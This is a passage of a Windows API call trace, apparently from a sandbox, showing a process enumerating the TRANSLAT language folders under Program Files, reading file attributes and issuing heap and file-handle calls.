lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0061.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0061.647] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0061.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa043a8 [0061.647] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa043a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa043a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0061.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa043a8) returned 1 [0061.647] NtClose (Handle=0x160) returned 0x0 [0061.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0061.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0061.647] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0061.647] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.647] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0061.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.648] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa022f8 [0061.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03cc0 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02718 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x980) returned 0xa043a8 [0061.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0061.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.648] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03ce0 [0061.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02820 [0061.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0061.648] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0061.648] GetLastError () returned 0x12 [0061.649] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0061.649] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0061.649] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.649] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0061.649] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0061.649] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0061.649] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0061.649] GetLastError () returned 0x12 [0061.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0061.649] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0061.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa022f8) returned 1 [0061.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0061.649] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0061.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0061.649] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0062.431] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0062.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa04d30 [0062.433] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa04d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa04d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0062.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04d30) returned 1 [0062.433] NtClose (Handle=0x168) returned 0x0 [0062.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0062.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0062.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0062.433] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0062.434] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.434] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0062.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa022f8 [0062.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03d00 [0062.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02928 [0062.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.434] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0062.434] GetLastError () returned 0x12 [0062.434] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0062.434] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0062.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0062.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0062.434] GetLastError () returned 0x12 [0062.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0062.434] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0062.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa022f8) returned 1 [0062.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0062.435] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0062.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0062.435] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0062.492] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0062.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa04d30 [0062.492] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa04d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa04d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0062.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04d30) returned 1 [0062.492] NtClose (Handle=0x160) returned 0x0 [0062.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0062.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0062.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0062.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.493] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0062.493] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.493] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0062.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.493] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0062.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa022f8 [0062.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0062.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03d20 [0062.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02a30 [0062.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.494] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, 